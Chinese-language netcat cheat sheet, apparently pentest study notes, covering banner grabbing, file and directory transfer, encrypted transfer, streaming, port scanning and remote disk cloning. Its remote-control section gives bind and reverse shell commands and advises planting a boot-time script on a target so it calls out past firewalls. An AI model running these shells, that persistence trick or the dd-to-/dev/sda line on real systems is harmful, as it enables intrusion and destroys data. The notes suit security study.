NETCAT
- 监听模式/传输模式
- telnet/获取banner信息
- 传输文本信息
- 传输文件/目录
- 加密传输文件(默认不加密)
- 远程控制/木马
- 加密所有流量
- 流媒体服务器
- 远程克隆硬盘
NC-TELNET/BANNER
- nc -nv 192.168.0.101 25
- nc -nv 192.168.0.101 80
- nc -nv 192.168.0.101 110
- n:不使用域名解析
- v:显示详细内容
NC-传输文本信息
- A:nc -lp 4444
- B:nc -nv 192.168.0.101 4444
- -l:A侦听一个端口
- -p:出让的端口号
- 结合管道可以同来远程电子取证
- A:nc -lp 4444 > test.txt
- B: ps aux | nc -nv 192.168.0.101 4444 -q 1
- -q:表示当前数据传递完成之后1s后断开连接
NC-传输文件/目录
- A侦听端口,等待接受B传送来的文件
- A:nc -lp 4444 > test.mp4
- B:nc -nv 192.168.0.101 4444 < a.mp4 -q 1
- A侦听端口,将文件放入端口,等待B接收文件
- A:nc -lp 4444 < test.mp4
- B:nc -nv 192.168.0.101 4444 > a.mp4
- A侦听端口,等待打开B传送来的目录
- A:nc -lp 4444 | tar -xvf -
- B:tar -cvf - Sublime/ | nc -nv 198.168.0.101 4444 -q 1
- A侦听端口,将目录放入端口,等待B接受打开
- A:tar -cvf - Sublime/ | nc -lp 4444
- B:nc 198.168.0.101 4444 | tar -xvf -
- 加密传文件(加密后再传输)
- A:nc -lp 4444 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > test.mp4
- B:mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 198.168.0.101 4444 -q 1
NC-流媒体服务
- A:cat test.mp4 | nc -lp 4444
- B:nc -nv 198.168.0.101 4444 | mplayer -vo x11 -cache 3000 -
- 每次获取3000kb大小的流进行播放
NC-端口扫描
- nc -nvz 196.168.0.101 1-65535
- nc -nvzu 196.168.0.101 1-1024
- -z:探测扫描(默认探测TCP端口)
- -zu:扫描UDP端口
NC-远程克隆硬盘
- 远程电子取证,可以将目标服务器硬盘远程复制,或者内存
- A:nc -lp 4444 | dd of=/dev/sda
- B:dd if =/dev/sda | nc -nv 192.168.0.101 4444 -q
NC-远程控制
- 正向:B控制A
- A:nc -lp 4444 -c bash
- B:nc -nv 192.168.0.101 4444
- 反向:A控制B
- A:nc -lp 4444
- B:nc -nv 192.168.0.101 4444 -c bash
- 一般从外到内的网络请求防火墙检测的比较严格。可以使用反向控制,在目标主机中设置自动脚本,每次开机时从内向外发起nc连接,攻击者主机nc侦听,获取目标主机shell的控制权。
加密远程控制
- A:nc -c bash --allow 192.168.0.102 -vnl 4444 --ssl
- B:nc -nv 192.168.0.101 4444 --ssl
- -vnl:设置侦听端口
- --allow:设置允许访问的IP
- --ssl:加密传输